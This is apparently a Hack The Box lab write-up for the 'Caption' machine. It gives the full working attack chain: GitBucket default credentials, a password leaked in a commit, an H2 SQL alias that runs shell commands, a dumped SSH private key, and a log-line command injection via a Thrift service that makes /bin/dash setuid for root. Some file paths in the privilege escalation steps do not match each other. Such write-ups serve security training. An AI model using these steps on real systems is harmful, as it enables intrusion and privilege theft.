Skip to content

HTB: Caption

Spoiler Summary

This machine leveraged GitBucket with default credentials (root:root) to access sensitive configurations and bypass path restrictions. By exploiting an SQL injection in the GitBucket interface, I achieved remote code execution and retrieved an SSH private key for the user margo. Privilege escalation involved exploiting a log processing service via a Thrift API, allowing me to escalate to root by manipulating log entries to execute arbitrary commands.

80/tcp-http

I'm interested in these paths:

404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        4l        8w       94c http://caption.htb/download
403      GET        4l        8w       94c http://caption.htb/logs
302      GET        5l       22w      189c http://caption.htb/firewalls-faq => http://caption.htb/

8080/tcp-http GitBucket

GitBucket has default credentials root:root:

http://caption.htb:8080/root/Caption-Portal/blob/main/config/haproxy/haproxy.cfg:

Here are the directories I want:

  acl restricted_page path_beg,url_dec -i /logs
  acl restricted_page path_beg,url_dec -i /download
global
            log /dev/log    local0
            log /dev/log    local1 notice
            chroot /var/lib/haproxy
            stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
            stats timeout 30s
            user haproxy
            group haproxy
            daemon

            # Default SSL material locations
            ca-base /etc/ssl/certs
            crt-base /etc/ssl/private

            # See: https://ssl-config.mozilla.org/#server=haproxy&server-version=2.0.3&config=intermediate
            ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
            ssl-default-bind-ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256
            ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets

    defaults
            log     global
            mode    http
            option  httplog
            option  dontlognull
            timeout connect 5000
            timeout client  50000
            timeout server  50000
            errorfile 400 /etc/haproxy/errors/400.http
            errorfile 403 /etc/haproxy/errors/403.http
            errorfile 408 /etc/haproxy/errors/408.http
            errorfile 500 /etc/haproxy/errors/500.http
            errorfile 502 /etc/haproxy/errors/502.http
            errorfile 503 /etc/haproxy/errors/503.http
            errorfile 504 /etc/haproxy/errors/504.http


    frontend http_front
       bind *:80
       default_backend http_back
       acl restricted_page path_beg,url_dec -i /logs
       acl restricted_page path_beg,url_dec -i /download
       http-request deny if restricted_page
       acl not_caption hdr_beg(host) -i caption.htb
       http-request redirect code 301 location http://caption.htb if !not_caption

    backend http_back
       balance roundrobin
       server server1 127.0.0.1:6081 check

http://caption.htb:8080/root/Caption-Portal/blob/main/config/service/varnish.service:

[Unit]
    Description=Varnish Cache, a high-performance HTTP accelerator
    Documentation=https://www.varnish-cache.org/docs/ man:varnishd

    [Service]
    Type=simple

    # Maximum number of open files (for ulimit -n)
    LimitNOFILE=131072

    # Locked shared memory - should suffice to lock the shared memory log
    # (varnishd -l argument)
    # Default log size is 80MB vsl + 1M vsm + header -> 82MB
    # unit is bytes
    LimitMEMLOCK=85983232
    ExecStart=/usr/sbin/varnishd \
              -j unix,user=vcache \
              -F \
              -a localhost:6081 \
              -T localhost:6082 \
              -f /etc/varnish/default.vcl \
              -S /etc/varnish/secret \
              -s malloc,256m \
              -p feature=+http2
    ExecReload=/usr/share/varnish/varnishreload
    ProtectSystem=full
    ProtectHome=true
    PrivateTmp=true
    PrivateDevices=true

    [Install]
    WantedBy=multi-user.target

Creds http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a:

margo:vFr&cS2#0!

Those credentials work for http://caption.htb:

Request:

POST / HTTP/1.1
Host: caption.htb
Content-Length: 1
Transfer-Encoding: chunked

0

Response:

HTTP/1.1 503 Backend fetch failed
date: Fri, 20 Sep 2024 18:18:01 GMT
server: Varnish
content-type: text/html; charset=utf-8
retry-after: 5
x-varnish: 3081494
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
content-length: 284

<!DOCTYPE html>
<html>
  <head>
    <title>503 Backend fetch failed</title>
  </head>
  <body>
    <h1>Error 503 Backend fetch failed</h1>
    <p>Backend fetch failed</p>
    <h3>Guru Meditation:</h3>
    <p>XID: 3081495</p>
    <hr>
    <p>Varnish cache server</p>
  </body>
</html>

Remote Code Execution

Using the GitBucket SQL browser, it's possible to create a malicious function to execute code:

CREATE ALIAS HAX AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}$$;

margo@caption:~$ cat .ssh/id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTlvYEMXbgPL/2LQ06y0jcnmuu/FAc9u6+RLVtsYj54
iiSWDDN+QKYJIDczKObUXAvGPL+pSJLWmrBefYiXfNUnAAAAoPhh9qX4YfalAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOW9gQxduA8v/YtDTrLSNyea678UBz27r5EtW2xi
PniKJJYMM35ApgkgNzMo5tRcC8Y8v6lIktaasF59iJd81ScAAAAgcLzcUqapsvrlklkN7uum8K6n
4xaWByfWDZ/5uZuQzhIAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

MUCH SIMPLER alternative to the above:

CALL EXECVE('cat /home/margo/.ssh/id_ecdsa');

Privilege Escalation

On target, /dev/shm/x.log:

127.0.0.1 "user-agent":"'; /bin/bash /dev/shm/x.sh #"

On target, /dev/shm/x.log:

chmod +s /bin/dash

Forward the Thrift port:

ssh -i id_ecdsa -L 9090:localhost:9090 margo@caption.htb

And then, also on the attack machine:

$ cat log_service.thrift
namespace go log_service

service LogService {
    string ReadLogFile(1: string filePath)
}
sudo apt install python3-thrift
thrift -r --gen py log_service.thrift
cd gen-py

x.py:

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code

def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)

    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)

    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the service
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"

        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)

    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")

    # Close the transport
    transport.close()

if __name__ == '__main__':
    main()
$ python3 ./x.py
Server response: Log file processed

On target:

margo@caption:/tmp$ /bin/dash -p
# id
uid=1000(margo) gid=1000(margo) euid=0(root) egid=0(root) groups=0(root),1000(margo)
# cat /root/root.txt
ac2e4c7c6a19545a9c4ce8b38cb9dc25
# chmod 755 /bin/dash